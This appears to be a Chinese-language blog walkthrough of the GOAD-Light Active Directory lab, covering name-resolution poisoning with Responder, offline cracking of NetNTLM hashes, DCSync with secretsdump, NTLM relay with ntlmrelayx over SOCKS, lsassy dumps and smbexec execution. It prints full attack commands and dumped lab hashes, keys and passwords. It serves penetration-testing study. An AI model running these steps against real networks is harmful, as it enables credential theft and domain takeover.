GOAD-Light-Part4-毒化与中继

GOAD-Light_schema

Responder

Responder 伪装成目标服务器,受害者计算响应时使用的是 真实的NTLM哈希加密的挑战

image-20260122141734044

可以使用Responder获得如下信息:

  • 用户名
  • netntlmv1哈希(如果服务器很旧)/netntlmv2哈希
  • 重定向身份验证的能力(NTLM 中继)

在实验室中,有两个bots来模拟 LLMRN、MDNS 和 NBT-NS 请求,一名用户的密码较弱,但没有管理员权限,另一个用户拥有管理员权限,但使用强密码

启动Responder

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sudo responder -I eth1
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[*] Skipping previously captured hash for NORTH\robb.stark
[*] [MDNS] Poisoned answer sent to 192.168.56.11 for name Bravos.local
[*] [MDNS] Poisoned answer sent to fe80::a971:cff2:d9a0:81f4 for name Bravos.local
[*] [MDNS] Poisoned answer sent to 192.168.56.11 for name Bravos.local
[*] [LLMNR] Poisoned answer sent to 192.168.56.11 for name Bravos
[*] [LLMNR] Poisoned answer sent to fe80::a971:cff2:d9a0:81f4 for name Bravos
[*] [LLMNR] Poisoned answer sent to fe80::a971:cff2:d9a0:81f4 for name Bravos
[*] [MDNS] Poisoned answer sent to fe80::a971:cff2:d9a0:81f4 for name Bravos.local
[*] [LLMNR] Poisoned answer sent to 192.168.56.11 for name Bravos
[*] Skipping previously captured hash for NORTH\robb.stark
[*] [NBT-NS] Poisoned answer sent to 192.168.56.11 for name MEREN (service: File Server)
[*] [MDNS] Poisoned answer sent to 192.168.56.11 for name Meren.local
[*] [LLMNR] Poisoned answer sent to fe80::a971:cff2:d9a0:81f4 for name Meren
[*] [MDNS] Poisoned answer sent to fe80::a971:cff2:d9a0:81f4 for name Meren.local
[*] [MDNS] Poisoned answer sent to 192.168.56.11 for name Meren.local
[*] [LLMNR] Poisoned answer sent to 192.168.56.11 for name Meren
[*] [MDNS] Poisoned answer sent to fe80::a971:cff2:d9a0:81f4 for name Meren.local
[*] [LLMNR] Poisoned answer sent to fe80::a971:cff2:d9a0:81f4 for name Meren
[*] [LLMNR] Poisoned answer sent to 192.168.56.11 for name Meren
[*] Skipping previously captured hash for NORTH\eddard.stark
[*] [MDNS] Poisoned answer sent to 192.168.56.11 for name Meren.local
[*] [MDNS] Poisoned answer sent to fe80::a971:cff2:d9a0:81f4 for name Meren.local
[*] [LLMNR] Poisoned answer sent to fe80::a971:cff2:d9a0:81f4 for name Meren
[*] [MDNS] Poisoned answer sent to fe80::a971:cff2:d9a0:81f4 for name Meren.local
[*] [MDNS] Poisoned answer sent to 192.168.56.11 for name Meren.local
[*] [LLMNR] Poisoned answer sent to fe80::a971:cff2:d9a0:81f4 for name Meren
[*] [LLMNR] Poisoned answer sent to 192.168.56.11 for name Meren


┌──(kali㉿kali)-[~/GOAD]
└─$ cat /usr/share/responder/logs/SMB-NTLMv1-SSP-fe80::a971:cff2:d9a0:81f4.txt
robb.stark::NORTH:963062DB8D2A61B400000000000000000000000000000000:D836C4E9547D8F3401602DC8FA28FF6B3A2BCD4FFF3506CB:86fd9d13a821c588
robb.stark::NORTH:963062DB8D2A61B400000000000000000000000000000000:D836C4E9547D8F3401602DC8FA28FF6B3A2BCD4FFF3506CB:86fd9d13a821c588
robb.stark::NORTH:4592BCD4C39F925000000000000000000000000000000000:8A3E60F4A8D11DA09B6C76BEF2FFFE1D95FF14A749A59951:dfd75c21057f18ff
robb.stark::NORTH:416966279ED3B69C00000000000000000000000000000000:C8087DB49C72A3B8F5C1E3B8B13317F54CBFCC226A441CEA:affd77c68d40bfd4
robb.stark::NORTH:95101AC8B07B31CF00000000000000000000000000000000:47DC3A2F43DAFB322DD693B5995402789C7F25D2F4F95FFA:6e34638c7ef0207c
robb.stark::NORTH:D5C977E1C62B6C7C00000000000000000000000000000000:5254F86432F74EE320FD621D72A2882A47AE06E1BD71D177:473985da0823ad85
robb.stark::NORTH:89E775EAA022D42500000000000000000000000000000000:2500296C1932DD86ECE5E6AF4EE0D87190FAA7DF5FFBC81D:16bf277d23a790b7
eddard.stark::NORTH:FA803FD6DD22244800000000000000000000000000000000:7E6B45883D605E2A854E7846F2C0C881FA42EA495CFA048D:d0350293907bc737
eddard.stark::NORTH:FA803FD6DD22244800000000000000000000000000000000:7E6B45883D605E2A854E7846F2C0C881FA42EA495CFA048D:d0350293907bc737
eddard.stark::NORTH:9B2C87AA7F42793E00000000000000000000000000000000:AC480B26181E7AB472C89A9CF669B1CEED466293DC8B6074:c6059e00688fa1d3
eddard.stark::NORTH:67F85BC0E80145EE00000000000000000000000000000000:40571E1B79DBB2A1EC5171A70D1F524725AED8EF47178E51:26702a9d9ae911f5

破解

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john --format=netntlm --wordlist=/usr/share/wordlists/rockyou.txt Responder.txt

得到凭据

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robb.stark:sexywolfy  

这已经够拿下NORTH.SEVENKINGDOMS.LOCAL,robb.stark是NORTH.SEVENKINGDOMS.LOCAL的ADMINISTRATORS组成员,且有DCSync权限

image-20260122145053588

测试

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impacket-secretsdump -outputfile "winterfell.north.sevenkingdoms.local" -just-dc  "winterfell.north.sevenkingdoms.local"/"robb.stark":"sexywolfy"@"192.168.56.11" 
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[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)                                                                                                                             
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:dbd13e1c4e338284ac4e9874f7de6ef4:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:ce78790a7ddd98c36dab6a95675ddb78:::
vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
arya.stark:1110:aad3b435b51404eeaad3b435b51404ee:4f622f4cd4284a887228940e2ff4e709:::
eddard.stark:1111:aad3b435b51404eeaad3b435b51404ee:d977b98c6c9282c5c478be1d97b237b8:::
catelyn.stark:1112:aad3b435b51404eeaad3b435b51404ee:cba36eccfd9d949c73bc73715364aff5:::
robb.stark:1113:aad3b435b51404eeaad3b435b51404ee:831486ac7f26860c9e2f51ac91e1a07a:::
sansa.stark:1114:aad3b435b51404eeaad3b435b51404ee:b777555c2e2e3716e075cc255b26c14d:::
brandon.stark:1115:aad3b435b51404eeaad3b435b51404ee:84bbaa1c58b7f69d2192560a3f932129:::
rickon.stark:1116:aad3b435b51404eeaad3b435b51404ee:7978dc8a66d8e480d9a86041f8409560:::
hodor:1117:aad3b435b51404eeaad3b435b51404ee:337d2667505c203904bd899c6c95525e:::
jon.snow:1118:aad3b435b51404eeaad3b435b51404ee:b8d76e56e9dac90539aff05e3ccb1755:::
samwell.tarly:1119:aad3b435b51404eeaad3b435b51404ee:f5db9e027ef824d029262068ac826843:::
jeor.mormont:1120:aad3b435b51404eeaad3b435b51404ee:6dccf1c567c56a40e56691a723a49664:::
sql_svc:1121:aad3b435b51404eeaad3b435b51404ee:84a5092f53390ea48d660be52b93b804:::
WINTERFELL$:1001:aad3b435b51404eeaad3b435b51404ee:d2774d0155f7661f9b4aa0769bd1abca:::
CASTELBLACK$:1105:aad3b435b51404eeaad3b435b51404ee:933458ca9304a206f35e0c27396307dd:::
SEVENKINGDOMS$:1104:aad3b435b51404eeaad3b435b51404ee:87104736ec563809ab3a7193245ae9c4:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:e7aa0f8a649aa96fab5ed9e65438392bfc549cb2695ac4237e97996823619972
Administrator:aes128-cts-hmac-sha1-96:bb7b6aed58a7a395e0e674ac76c28aa0
Administrator:des-cbc-md5:fe58cdcd13a43243
krbtgt:aes256-cts-hmac-sha1-96:877d32ddbe5108dfe2d62696c9e22494468a843d34b4a2fed7e8c544e07259f7
krbtgt:aes128-cts-hmac-sha1-96:a0f68a853b238b3ec6419307b60a1844
krbtgt:des-cbc-md5:49159ed668083e6d
vagrant:aes256-cts-hmac-sha1-96:aa97635c942315178db04791ffa240411c36963b5a5e775e785c6bd21dd11c24
vagrant:aes128-cts-hmac-sha1-96:0d7c6160ffb016857b9af96c44110ab1
vagrant:des-cbc-md5:16dc9e8ad3dfc47f
arya.stark:aes256-cts-hmac-sha1-96:2001e8fb3da02f3be6945b4cce16e6abdd304974615d6feca7d135d4009d4f7d
arya.stark:aes128-cts-hmac-sha1-96:8477cba28e7d7cfe5338d172a23d74df
arya.stark:des-cbc-md5:13525243d6643285
eddard.stark:aes256-cts-hmac-sha1-96:f6b4d01107eb34c0ecb5f07d804fa9959dce6643f8e4688df17623b847ec7fc4
eddard.stark:aes128-cts-hmac-sha1-96:5f9b06a24b90862367ec221a11f92203
eddard.stark:des-cbc-md5:8067f7abecc7d346
catelyn.stark:aes256-cts-hmac-sha1-96:c8302e270b04252251de40b2bd5fba37395b55d5ed9ac95e03213dc739827283
catelyn.stark:aes128-cts-hmac-sha1-96:50ce7e2ad069fa40fb2bc7f5f9643d93
catelyn.stark:des-cbc-md5:6b314670a2f84cfb
robb.stark:aes256-cts-hmac-sha1-96:d7df5069178bbc93fdc34bbbcb8e374fd75c44d6ce51000f24688925cc4d9c2a
robb.stark:aes128-cts-hmac-sha1-96:b2965905e68356d63fedd9904357cc42
robb.stark:des-cbc-md5:c4b62c797f5dd01f
sansa.stark:aes256-cts-hmac-sha1-96:a268e7a385f4f165c6489c18a3bdeb52c5e505050449c6f9aeba4bc06a7fcbed
sansa.stark:aes128-cts-hmac-sha1-96:e2e6e885f6f4d3e25d759ea624961392
sansa.stark:des-cbc-md5:4c7c16e3f74cc4d3
brandon.stark:aes256-cts-hmac-sha1-96:6dd181186b68898376d3236662f8aeb8fa68e4b5880744034d293d18b6753b10
brandon.stark:aes128-cts-hmac-sha1-96:9de3581a163bd056073b71ab23142d73
brandon.stark:des-cbc-md5:76e61fda8a4f5245
rickon.stark:aes256-cts-hmac-sha1-96:79ffda34e5b23584b3bd67c887629815bb9ab8a1952ae9fda15511996587dcda
rickon.stark:aes128-cts-hmac-sha1-96:d4a0669b1eff6caa42f2632ebca8cd8d
rickon.stark:des-cbc-md5:b9ec3b8f2fd9d98a
hodor:aes256-cts-hmac-sha1-96:a33579ec769f3d6477a98e72102a7f8964f09a745c1191a705d8e1c3ab6e4287
hodor:aes128-cts-hmac-sha1-96:929126dcca8c698230b5787e8f5a5b60
hodor:des-cbc-md5:d5764373f2545dfd
jon.snow:aes256-cts-hmac-sha1-96:5a1bc13364e758131f87a1f37d2f1b1fa8aa7a4be10e3fe5a69e80a5c4c408fb
jon.snow:aes128-cts-hmac-sha1-96:d8bc99ccfebe2d6e97d15f147aa50e8b
jon.snow:des-cbc-md5:084358ceb3290d7c
samwell.tarly:aes256-cts-hmac-sha1-96:b66738c4d2391b0602871d0a5cd1f9add8ff6b91dcbb7bc325dc76986496c605
samwell.tarly:aes128-cts-hmac-sha1-96:3943b4ac630b0294d5a4e8b940101fae
samwell.tarly:des-cbc-md5:5efed0e0a45dd951
jeor.mormont:aes256-cts-hmac-sha1-96:be10f893afa35457fcf61ecc40dc032399b7aee77c87bb71dd2fe91411d2bd50
jeor.mormont:aes128-cts-hmac-sha1-96:1b0a98958e19d6092c8e8dc1d25c788b
jeor.mormont:des-cbc-md5:1a68641a3e9bb6ea
sql_svc:aes256-cts-hmac-sha1-96:24d57467625d5510d6acfddf776264db60a40c934fcf518eacd7916936b1d6af
sql_svc:aes128-cts-hmac-sha1-96:01290f5b76c04e39fb2cb58330a22029
sql_svc:des-cbc-md5:8645d5cd402f16c7
WINTERFELL$:aes256-cts-hmac-sha1-96:bfd0d4975256ea8a5f183f4cabeb58d7bb2d7cbcd803e2854ee3265971c28e71
WINTERFELL$:aes128-cts-hmac-sha1-96:74ee9f9c32fb8ed1fbc72dda9431de10
WINTERFELL$:des-cbc-md5:7ff72c75d5d683b5
CASTELBLACK$:aes256-cts-hmac-sha1-96:35ba116a62a152575f7b11fe76a35f83226006386d4694e905473837996b7b1a
CASTELBLACK$:aes128-cts-hmac-sha1-96:cfd580cffd8942f3ee3c8fdfe2fb0edb
CASTELBLACK$:des-cbc-md5:76fd07a208b9454a
SEVENKINGDOMS$:aes256-cts-hmac-sha1-96:24a6fc6e6c246dd759aee32d7eed5dcbc8b2533f9eb7c01d0cd264013fbfc3ac
SEVENKINGDOMS$:aes128-cts-hmac-sha1-96:f85cb874ff299dfc240caf9bf68865fd
SEVENKINGDOMS$:des-cbc-md5:ea5458260ece0215
[*] Cleaning up...

Eddard的密码比较强,用这个方法是破解不了的 这并不意味着我们无能为力,我们可以做的是将 eddard 连接中继到unsigned smb 服务器

Responder 将日志保存在/usr/share/responder/logs(在 exegol 上),如果您需要再次显示它们

如果要删除以前捕获的日志(消息跳过以前捕获的哈希)删除文件/usr/share/responder/logs

目前获取的凭据:

  • north.sevenkingdoms.local\samwell.tarly:Heartsbane(用户描述)
  • north.sevenkingdoms.local\brandon.stark:iseedeadpeople(AS-REP Roasting)
  • north.sevenkingdoms.local\hodor:hodor(密码喷洒)
  • north.sevenkingdoms.local\jon.snow:iknownothing(Kerberoasting)
  • north.sevenkingdoms.local\robb.stark:sexywolfy (Responder)

攻克机器:

  • north.sevenkingdoms.local

NTLM Relay

首先找到signing:False的服务器

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crackmapexec smb 192.168.56.10-22 --gen-relay-list relay.txt

接下来尝试将ntlm认证中继到这些服务器

responder + ntlmrelayx 到 smb

中继原理

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T0: 客户端 → 攻击者: "我要认证"
T1: 攻击者 → 服务器: "我要认证"(转发)
T2: 服务器 → 攻击者: "挑战是 0xAABBCCDD"
T3: 攻击者 → 客户端: "挑战是 0xAABBCCDD"
T4: 客户端 → 攻击者: "响应是 R=f(哈希,0xAABBCCDD)"
T5: 攻击者 → 服务器: "响应是 R=f(哈希,0xAABBCCDD)"
T6: 服务器验证通过!
T7: 服务器 → 攻击者: "认证成功,会话ID: 0x1234"

T8: 攻击者 → 服务器: "打开 \\pipe\svcctl"
T9: 服务器 → 攻击者: "管道已打开"

T10: 攻击者 → 服务器: "创建服务 'TempSvc',执行: net user hacker Pass123 /add"
T11: 服务器执行命令 → 创建用户
T12: 服务器 → 攻击者: "服务创建成功"

T13: 攻击者 → 服务器: "启动服务 TempSvc"
T14: 服务器执行 net user hacker Pass123 /add
T15: 服务器 → 攻击者: "服务启动成功"

T16: 攻击者 → 服务器: "删除服务 TempSvc"(清理)

在启动响应程序来污染 LLMNR、MDNS 和 NBT-NS 请求的答案之前,我们必须停止响应程序的 smb 和 http 服务器,因为我们不想直接获取哈希值,而是想将它们转发给 ntlmrelayx。

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sudo vim /usr/share/responder/Responder.conf

HTTP = Off
SMB = Off

启动ntlmrelayx

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sudo impacket-ntlmrelayx -tf relay.txt -of netntlm -smb2support -socks

-tf:要中继身份验证的目标列表

-of:输出文件,这将保留捕获的SMB哈希,就像我们之前使用响应器所做的那样,以便以后破解它们

-smb2support:支持 SMB2

-socks:将启动socks代理以使用中继身份验证

启动responder

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sudo responder -I eth1 -dw

成功中继

image-20260122151938123

image-20260122151946791

image-20260122152830327

投毒中继到了castelblack (192.168.56.22) ,并设置了一个 socks 代理来使用该连接

由于 eddard.stark 是 north.sevenkingdoms.local 的域管理员,他在 castelback (192.168.56.22) 上获得了管理员权限

image-20260122152948347

设置proxychains4

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┌──(kali㉿kali)-[~/GOAD/relay]                                                                                                                                                            
└─$ tail -5 /etc/proxychains4.conf
# add proxy here ...
# meanwile
# defaults set to "tor"
socks5 127.0.0.1 1080

Secretsdump

使用secretsdump获取SAM数据库、LSA缓存登录、机器帐户和一些DPAPI信息

DPAPI

DPAPI 是 Windows 内置的加密框架,用于保护:

  • 浏览器密码(Chrome、Edge、Internet Explorer)
  • Wi-Fi 密码
  • RDP 连接凭据
  • Outlook/POP3/SMTP 密码
  • 证书私钥
  • VPN 配置
  • Windows 凭据管理器存储的密码
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proxychains impacket-secretsdump -no-pass 'NORTH'/'EDDARD.STARK'@'192.168.56.22'
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┌──(kali㉿kali)-[~/GOAD/relay]
└─$ proxychains impacket-secretsdump -no-pass 'NORTH'/'EDDARD.STARK'@'192.168.56.22'
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] DLL init: proxychains-ng 4.16
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.56.22:445 ... OK
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x8365b0199c7e93bb5df067d35863c50d
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:dbd13e1c4e338284ac4e9874f7de6ef4:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:4363b6dc0c95588964884d7e1dfea1f7:::
vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
[*] Dumping cached domain logon information (domain/username:hash)
NORTH.SEVENKINGDOMS.LOCAL/sql_svc:$DCC2$10240#sql_svc#89e701ebbd305e4f5380c5150494584a
NORTH.SEVENKINGDOMS.LOCAL/robb.stark:$DCC2$10240#robb.stark#f19bfb9b10ba923f2e28b733e5dd1405
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
NORTH\CASTELBLACK$:aes256-cts-hmac-sha1-96:35ba116a62a152575f7b11fe76a35f83226006386d4694e905473837996b7b1a
NORTH\CASTELBLACK$:aes128-cts-hmac-sha1-96:cfd580cffd8942f3ee3c8fdfe2fb0edb
NORTH\CASTELBLACK$:des-cbc-md5:76fd07a208b9454a
NORTH\CASTELBLACK$:plain_password_hex:6f005e005e0032003800340065005d004b002d004b004800290021005b002b0058004400390023005c0058002c0072003d00200045002a00340060006c00700078007700430026004100270038002c0023004e005300740027004700490046002d003f00230059005300480038003b003e0051002f003d00360022005c0021004000610024005a00700067004b002c00410079004a00770057005c00480048006e0021006a003c0035004a00630022002c0045006b00240054004700440051004e004500650039003500280079006300360044005f002e0050006f005600600052002400260021004a004e0066005100
NORTH\CASTELBLACK$:aad3b435b51404eeaad3b435b51404ee:933458ca9304a206f35e0c27396307dd:::
[*] DPAPI_SYSTEM
dpapi_machinekey:0x7d5b057f8d176eb1570993bb919ebc56f4900403
dpapi_userkey:0x8d33a963fde82ab56a5d09441f27be9876ebaf97
[*] NL$KM
0000 22 34 01 76 01 70 30 93 88 A7 6B B2 87 43 59 69 "4.v.p0...k..CYi
0010 0E 41 BD 22 0A 0C CC 23 3A 5B B6 74 CB 90 D6 35 .A."...#:[.t...5
0020 14 CA D8 45 4A F0 DB 72 D5 CF 3B A1 ED 7F 3A 98 ...EJ..r..;...:.
0030 CD 4D D6 36 6A 35 24 2D A0 EB 0F 8E 3F 52 81 C9 .M.6j5$-....?R..
NL$KM:223401760170309388a76bb2874359690e41bd220a0ccc233a5bb674cb90d63514cad8454af0db72d5cf3ba1ed7f3a98cd4dd6366a35242da0eb0f8e3f5281c9
[*] _SC_MSSQL$SQLEXPRESS
north.sevenkingdoms.local\sql_svc:YouWillNotKerboroast1ngMeeeeee
[*] Cleaning up...
[*] Stopping service RemoteRegistry

  • sam 数据库包含本地帐户(忽略 vagrant,因为它是设置实验室的默认用户)
  • 获得了本地管理员用户的 NTLM Hash
  • 获得了最后连接用户的 LSA 缓存(默认情况下 Windows 保留最后 10 个用户),即使域控制器无法访问,这对于连接到服务器也很有用,但这些缓存的凭证可以用 hashcat 离线破解(非常慢)
  • 最后,我们还获得了机器帐户的哈希值(如果获取了机器帐户NTML Hash,就相当于拥有一个域用户的权限)

Lsassy

  • 使用 lsassy 获取 lsass 进程存储的凭据
  • 域帐户信息存储在 LSASS 进程中,因此转储此进程可以为您提供更多的域帐户和权限
  • Lsassy 允许您远程转储 lsass(比执行 procdump、下载 lsass 转储文件并在本地执行 pypykatz 或 mimikatz 更方便),它会为您执行所有繁琐的操作,如转储和读取 lsass 内容(它也只转储 lsass 转储的有用部分优化传输时间)(lsassy 也作为一个 cme 模块存在)
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proxychains lsassy --no-pass -d NORTH -u EDDARD.STARK 192.168.56.22
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┌──(kali㉿kali)-[~/GOAD/relay]                                                                                                                                                            
└─$ proxychains lsassy --no-pass -d NORTH -u EDDARD.STARK 192.168.56.22
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.56.22:445 ... OK
[+] 192.168.56.22 Authentication successful
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.56.22:445 ... OK
[+] 192.168.56.22 Lsass dumped in C:\Windows\Temp\XqTMAU0L3.dbf (48517830 Bytes)
[+] 192.168.56.22 Lsass dump deleted
[+] 192.168.56.22 NORTH\CASTELBLACK$ [NT] 933458ca9304a206f35e0c27396307dd | [SHA1] 793d14b4cb66f8d92314685b9474a3ff6e4ab4fc
[+] 192.168.56.22 north.sevenkingdoms.local\CASTELBLACK$ [PWD] 6f005e005e0032003800340065005d004b002d004b004800290021005b002b0058004400390023005c0058002c0072003d00200045002a00340060006c
00700078007700430026004100270038002c0023004e005300740027004700490046002d003f00230059005300480038003b003e0051002f003d00360022005c0021004000610024005a00700067004b002c00410079004a0077005700
5c00480048006e0021006a003c0035004a00630022002c0045006b00240054004700440051004e004500650039003500280079006300360044005f002e0050006f005600600052002400260021004a004e0066005100
[+] 192.168.56.22 NORTH\sql_svc [NT] 84a5092f53390ea48d660be52b93b804 | [SHA1] 9fd961155e28b1c6f9b3859f32f4779ad6a06404
[+] 192.168.56.22 NORTH\robb.stark [NT] 831486ac7f26860c9e2f51ac91e1a07a | [SHA1] 3bea28f1c440eed7be7d423cefebb50322ed7b6c

DonPapi

  • 它用于获取 dpapi 和其他密码存储的信息(文件、浏览器、计划任务等)
  • 该工具不接触 LSASS,因此它更加隐蔽,并且即使在目标上启用了 av 和 edr,也能在大多数时间工作
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proxychains DonPAPI -no-pass 'NORTH'/'EDDARD.STARK'@'192.168.56.22'

我的环境有点问题运行不了,跳过

Smbclient

使用 smbclient 直接连接到 smbserver

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proxychains impacket-smbclient -no-pass 'NORTH'/'EDDARD.STARK'@'192.168.56.22' -debug
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┌──(kali㉿kali)-[~/GOAD/tools/DonPapi/donpapi]                                                                                                                                            
└─$ proxychains impacket-smbclient -no-pass 'NORTH'/'EDDARD.STARK'@'192.168.56.22' -debug
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] DLL init: proxychains-ng 4.16
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[+] Impacket Library Installation Path: /usr/lib/python3/dist-packages/impacket
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.56.22:445 ... OK
Type help for list of commands
# shares
ADMIN$
all
C$
IPC$
public
# use C$
# ls
drw-rw-rw- 0 Mon Jan 19 08:27:04 2026 $Recycle.Bin
drw-rw-rw- 0 Mon Jan 19 12:30:59 2026 Config.Msi
-rw-rw-rw- 660 Mon Jan 19 10:48:48 2026 dns_log.txt
drw-rw-rw- 0 Wed May 12 07:38:56 2021 Documents and Settings
drw-rw-rw- 0 Mon Jan 19 12:12:35 2026 inetpub
-rw-rw-rw- 1744830464 Thu Jan 22 09:05:04 2026 pagefile.sys
drw-rw-rw- 0 Wed May 12 00:56:39 2021 PerfLogs
drw-rw-rw- 0 Mon Jan 19 12:26:35 2026 Program Files
drw-rw-rw- 0 Mon Jan 19 12:27:17 2026 Program Files (x86)
drw-rw-rw- 0 Tue Jan 20 09:19:35 2026 ProgramData
drw-rw-rw- 0 Mon Jan 19 08:25:49 2026 Recovery
drw-rw-rw- 0 Mon Jan 19 12:16:53 2026 setup
drw-rw-rw- 0 Mon Jan 19 12:34:51 2026 shares
drw-rw-rw- 0 Wed May 12 07:38:15 2021 System Volume Information
drw-rw-rw- 0 Mon Jan 19 10:53:37 2026 tmp
drw-rw-rw- 0 Tue Jan 20 09:22:32 2026 Users
drw-rw-rw- 0 Mon Jan 19 11:50:57 2026 Windows

代码执行

代码执行使用 smbexec 或 atexec

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proxychains impacket-smbexec -no-pass 'NORTH'/'EDDARD.STARK'@'192.168.56.22' -debug

image-20260122163150368

对于socks连接,只能使用smbexec 或atexec,wmiexec、psexec 和 dcomexec 都不起作用

总结

目前攻克机器:

  • north.sevenkingdoms.local
  • castelblack.north.sevenkingdoms.local

GOAD-Light-Part4-毒化与中继
http://xiaowu5.cn/2026/01/24/GOAD-Light-Part4-毒化与中继/
作者
5
发布于
2026年1月24日
许可协议
BY XIAOWU